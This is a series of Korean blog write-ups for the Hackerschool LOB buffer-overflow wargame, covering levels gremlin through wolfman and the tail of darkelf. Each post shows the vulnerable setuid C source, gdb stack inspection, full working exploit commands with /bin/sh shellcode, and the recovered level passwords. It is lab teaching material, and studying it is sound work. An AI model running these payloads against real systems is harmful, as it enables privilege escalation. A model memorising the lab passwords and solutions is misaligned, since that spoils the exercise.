[wolfman@localhost wolfman]$ ./darkelf  `python -c 'print "\x90"*44+"\x40\xfc\xff\xbf"'` `python -c 'print "\x90"*20+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`
릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱@??
bash$ my-pass
euid = 506
kernel crashed

성공입니다!
분명히 되야 하는데 안될땐 bash2를 다시 띄워서 하면 되더라구요.

그럼 다음 문제로 가즈아ㅏㅏㅏㅏㅏㅏㅏㅏㅏ



반응형
반응형


해커스쿨 LOB LEVEL5 [orc -> wolfman] 풀이


M4ndU




해커스쿨 LOB [orc -> wolfman] 풀이입니다.


ID | orc

PW | cantata


으로 로그인합니다.



\xff 를 \x00으로 인식하는 오류를 피해 bash2를 사용합니다.


$ bash2


그리고


$ ls -l


를 이용해  어떤 파일과 어떤 폴더가 있는지 확인하고,


$ cat [문제이름].c


를 이용해 소스코드를 확인합시다.




login: orc

Password:

[orc@localhost orc]$ bash2

[orc@localhost orc]$ ls -l

total 20

-rwsr-sr-x    1 wolfman  wolfman     12587 Feb 26  2010 wolfman

-rw-r--r--    1 root     root          581 Mar 29  2010 wolfman.c

[orc@localhost orc]$ cat wolfman.c

/*

        The Lord of the BOF : The Fellowship of the BOF

        - wolfman

        - egghunter + buffer hunter

*/


#include <stdio.h>

#include <stdlib.h>


extern char **environ;


main(int argc, char *argv[])

{

        char buffer[40];

        int i;


        if(argc < 2){

                printf("argv error\n");

                exit(0);

        }


        // egghunter

        for(i=0; environ[i]; i++)

                memset(environ[i], 0, strlen(environ[i]));


        if(argv[1][47] != '\xbf')

        {

                printf("stack is still your friend.\n");

                exit(0);

        }

        strcpy(buffer, argv[1]);

        printf("%s\n", buffer);


        // buffer hunter

        memset(buffer, 0, 40);

}



점점 조건들이 많아지네요...
환경변수 사용 불가능, 스택영역 사용

        // buffer hunter

        memset(buffer, 0, 40);


buffer의 값을 0으로 초기화 시켜서 사용할 수 없게 되었습니다.

하지만! 입력값의 크기 제한은 없죠.
쉘코드를 리턴주소 다음에 넣으면 됩니다!

dummy [44] + RET[4] + SHELLCODE

[orc@localhost orc]$ mkdir tmp
[orc@localhost orc]$ cp wolfman tmp/
[orc@localhost orc]$ cd tmp/
[orc@localhost tmp]$ ./wolfman `python -c 'print "A"*44+"\xff\xff\xff\xbf"+"\x90"*20+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA퓧릱릱릱릱릱릱릱릱릱?픐h//shh/bin됥PS됣됀?
          ?
Segmentation fault (core dumped)
[orc@localhost tmp]$ gdb -c core -q
Core was generated by `./wolfman AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA퓧릱릱릱릱릱릱릱릱릱?'.
Program terminated with signal 11, Segmentation fault.
#0  0xbfffffff in ?? ()
(gdb) x/500x $esp
0xbffffad0:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffffae0:     0x90909090      0x6850c031      0x68732f2f      0x69622f68
(생략)
0xbffffc00:     0x00000000      0x00000000      0x36690000      0x2e003638
0xbffffc10:     0x6c6f772f      0x6e616d66      0x41414100      0x41414141
0xbffffc20:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffc30:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffc40:     0x41414141      0xffffff41      0x909090bf      0x90909090
0xbffffc50:     0x90909090      0x90909090      0x90909090      0x50c03190
0xbffffc60:     0x732f2f68      0x622f6868      0xe3896e69      0xe1895350
0xbffffc70:     0x0bb0c289      0x000080cd      0x00000000      0x00000000
(생략)

0xbffffc50으로 리턴주소를 설정하겠습니다.

[orc@localhost orc]$ ./wolfman `python -c 'print "A"*44+"\x50\xfc\xff\xbf"+"\x90"*20+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP?퓧릱릱릱릱릱릱릱릱릱?픐h//shh/bin됥PS됣됀?
          ?
bash$ my-pass
euid = 505
love eyuna


성공입니다. 다음레벨로 GAZUAAAAAAAAAAAAAA


반응형
반응형


해커스쿨 LOB LEVEL4 [goblin -> orc] 풀이


M4ndU




해커스쿨 LOB [goblin -> orc] 풀이입니다.


ID | goblin

PW | hackers proof


으로 로그인합니다.



\xff 를 \x00으로 인식하는 오류를 피해 bash2를 사용합니다.


$ bash2


그리고


$ ls -l


를 이용해  어떤 파일과 어떤 폴더가 있는지 확인하고,


$ cat [문제이름].c


를 이용해 소스코드를 확인합시다.




login: goblin

Password:

[goblin@localhost goblin]$ bash2

[goblin@localhost goblin]$ ls -l

total 20

-rwsr-sr-x    1 orc      orc         12567 Feb 26  2010 orc

-rw-r--r--    1 root     root          505 Mar 29  2010 orc.c

[goblin@localhost goblin]$ cat orc.c

/*

        The Lord of the BOF : The Fellowship of the BOF

        - orc

        - egghunter

*/


#include <stdio.h>

#include <stdlib.h>


extern char **environ;


main(int argc, char *argv[])

{

        char buffer[40];

        int i;


        if(argc < 2){

                printf("argv error\n");

                exit(0);

        }


        // egghunter

        for(i=0; environ[i]; i++)

                memset(environ[i], 0, strlen(environ[i]));


        if(argv[1][47] != '\xbf')

        {

                printf("stack is still your friend.\n");

                exit(0);

        }


        strcpy(buffer, argv[1]);

        printf("%s\n", buffer);

}



이번에는 두가지 조건이 있네요.

        // egghunter

        for(i=0; environ[i]; i++)

                memset(environ[i], 0, strlen(environ[i]));


환경변수부분을 0으로 설정해 버려서 환경변수를 사용할 수 없네요.


        if(argv[1][47] != '\xbf')

        {

                printf("stack is still your friend.\n");

                exit(0);

        }


그리고 리턴주소의 첫바이트는 0xbf이어야 하네요.

스택영역을 사용하면 되기 때문에 쉘코드를 buffer에 넣겠습니다. 그러면


./orc `python -c 'print "\x90"*19+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"+RET'`


가 되겠네요.


쉘코드가 있는 곳을 알아봅시다.

문제파일을 복사해서 core파일을 분석하면 됩니다.


[goblin@localhost tmp]$ ./orc `python -c 'print "\x90"*19+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"+"\xff\xff\xff\xbf"'`

릱릱릱릱릱릱릱릱릱?픐h//shh/bin됥PS됣됀?

                                         ??

Segmentation fault (core dumped)

[goblin@localhost tmp]$ gdb -c core -q

Core was generated by `./orc 릱릱릱릱릱릱릱릱릱?픐h//shh/bin됥PS됣됀?

                                                                      ??.

Program terminated with signal 11, Segmentation fault.

#0  0xbfffffff in ?? ()

(gdb) x/500x $esp

0xbffffaf0:     0x00000000      0xbffffb34      0xbffffb40      0x40013868

0xbffffb00:     0x00000002      0x08048450      0x00000000      0x08048471

 (생략)

0xbffffc20:     0x00000000      0x00000000      0x69000000      0x00363836

0xbffffc30:     0x726f2f2e      0x90900063      0x90909090      0x90909090

0xbffffc40:     0x90909090      0x90909090      0x50c03190      0x732f2f68

0xbffffc50:     0x622f6868      0xe3896e69      0xe1895350      0x0bb0c289

0xbffffc60:     0xffff80cd      0x0000bfff      0x00000000      0x00000000

 (생략)


우리가 입력한 값들이 보이네요.

리턴주소를 0xbffffc40으로 잡겠습니다.


[goblin@localhost goblin]$ ./orc `python -c 'print "\x90"*19+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"+"\x40\xfc\xff\xbf"'`

릱릱릱릱릱릱릱릱릱?픐h//shh/bin됥PS됣됀?

                                         ?@??

bash$ my-pass

euid = 504

cantata

bash$


성공입니다. 다음레벨로 가즈아ㅏㅏㅏㅏㅏㅏㅏㅏ




반응형
반응형


해커스쿨 LOB LEVEL3 [cobolt -> goblin] 풀이


M4ndU




해커스쿨 LOB [cobolt -> goblin] 풀이입니다.


ID | cobolt

PW | hacking exposed


으로 로그인합니다.



\xff 를 \x00으로 인식하는 오류를 피해 bash2를 사용합니다.


$ bash2


그리고


$ ls -l


를 이용해  어떤 파일과 어떤 폴더가 있는지 확인하고,


$ cat [문제이름].c


를 이용해 소스코드를 확인합시다.




login: cobolt

Password:

[cobolt@localhost cobolt]$ bash2

[cobolt@localhost cobolt]$ ls -l

total 16

-rwsr-sr-x    1 goblin   goblin      11824 Feb 26  2010 goblin

-rw-r--r--    1 root     root          193 Mar 29  2010 goblin.c

[cobolt@localhost cobolt]$ cat goblin.c

/*

        The Lord of the BOF : The Fellowship of the BOF

        - goblin

        - small buffer + stdin

*/


int main()

{

    char buffer[16];

    gets(buffer);

    printf("%s\n", buffer);

}




저번과 같은데 입력을 gets함수로 받네요. 

환경변수 설정하겠습니다. 이번에도 41바이트 쉘코드를 사용합니다.



[cobolt@localhost cobolt]$ export EGG=`python -c 'print "\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`

[cobolt@localhost cobolt]$ echo 'int main() { printf("ADDR -> 0x%x\n", getenv("EGG")); } ' > getenv.c

[cobolt@localhost cobolt]$ gcc getenv.c -o getenv

[cobolt@localhost cobolt]$ ./getenv

ADDR -> 0xbffffea7




[cobolt@localhost cobolt]$ (python -c 'print "A"*20+"\xa7\xfe\xff\xbf"'; cat) | ./goblin

AAAAAAAAAAAAAAAAAAAA??

my-pass

euid = 503

hackers proof


다음레벨로 가즈아ㅏㅏㅏㅏㅏㅏㅏㅏ

반응형
반응형


해커스쿨 LOB LEVEL2 [gremlin -> cobolt] 풀이


M4ndU




해커스쿨 LOB [gremlin -> cobolt] 풀이입니다.


ID | gremlin

PW | hello bof world


으로 로그인합니다.



\xff 를 \x00으로 인식하는 오류를 피해 bash2를 사용합니다.


$ bash2


그리고


$ ls -l


를 이용해  어떤 파일과 어떤 폴더가 있는지 확인하고,


$ cat [문제이름].c


를 이용해 소스코드를 확인합시다.




login: gremlin

Password:

[gremlin@localhost gremlin]$ bash2

[gremlin@localhost gremlin]$ ls -l

total 16

-rwsr-sr-x    1 cobolt   cobolt      11970 Feb 26  2010 cobolt

-rw-r--r--    1 gremlin  gremlin       291 Mar 29  2010 cobolt.c

[gremlin@localhost gremlin]$ cat cobolt.c

/*

        The Lord of the BOF : The Fellowship of the BOF

        - cobolt

        - small buffer

*/


int main(int argc, char *argv[])

{

    char buffer[16];

    if(argc < 2){

        printf("argv error\n");

        exit(0);

    }

    strcpy(buffer, argv[1]);

    printf("%s\n", buffer);

}


이번엔 버퍼가 16밖에 되지 않네요. 하지만 환경변수를 사용하면 버퍼의 크기는 상관이 없습니다!

gdb를 통해 buffer와 리턴주소간 거리를 구해봅시다.


[gremlin@localhost gremlin]$ gdb -q cobolt
(gdb) set disassembly-flavor intel
(gdb) disas main
Dump of assembler code for function main:
0x8048430 <main>:       push   %ebp
0x8048431 <main+1>:     mov    %ebp,%esp
0x8048433 <main+3>:     sub    %esp,16
0x8048436 <main+6>:     cmp    DWORD PTR [%ebp+8],1
0x804843a <main+10>:    jg     0x8048453 <main+35>
0x804843c <main+12>:    push   0x80484d0
0x8048441 <main+17>:    call   0x8048350 <printf>
0x8048446 <main+22>:    add    %esp,4
0x8048449 <main+25>:    push   0
0x804844b <main+27>:    call   0x8048360 <exit>
0x8048450 <main+32>:    add    %esp,4
0x8048453 <main+35>:    mov    %eax,DWORD PTR [%ebp+12]
0x8048456 <main+38>:    add    %eax,4
0x8048459 <main+41>:    mov    %edx,DWORD PTR [%eax]
0x804845b <main+43>:    push   %edx
0x804845c <main+44>:    lea    %eax,[%ebp-16]
0x804845f <main+47>:    push   %eax
0x8048460 <main+48>:    call   0x8048370 <strcpy>
0x8048465 <main+53>:    add    %esp,8
0x8048468 <main+56>:    lea    %eax,[%ebp-16]
0x804846b <main+59>:    push   %eax
0x804846c <main+60>:    push   0x80484dc
---Type <return> to continue, or q <return> to quit---
0x8048471 <main+65>:    call   0x8048350 <printf>
0x8048476 <main+70>:    add    %esp,8
0x8048479 <main+73>:    leave
0x804847a <main+74>:    ret

buffer가 ebp-16이니 dummy가 없네요.

바로 환경변수 설정해 줍시다. 이번에도 41바이트 쉘코드를 사용했습니다.


[gremlin@localhost gremlin]$ mkdir tmp
[gremlin@localhost gremlin]$ cd tmp
[gremlin@localhost tmp]$ export EGG=`python -c 'print "\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`
[gremlin@localhost tmp]$ echo 'int main() { printf("ADDR -> 0x%x\n", getenv("EGG")); } ' > getenv.c
[gremlin@localhost tmp]$ gcc getenv.c -o getenv
[gremlin@localhost tmp]$ ./getenv
ADDR -> 0xbffffe8d


[gremlin@localhost tmp]$ cd ..

[gremlin@localhost gremlin]$ ./cobolt `python -c 'print "A"*20+"\x8d\xfe\xff\xbf"'`

AAAAAAAAAAAAAAAAAAAA랞?

bash$ my-pass

euid = 502

hacking exposed



깔끔

다음레벨로 가즈아ㅏㅏ


반응형

+ Recent posts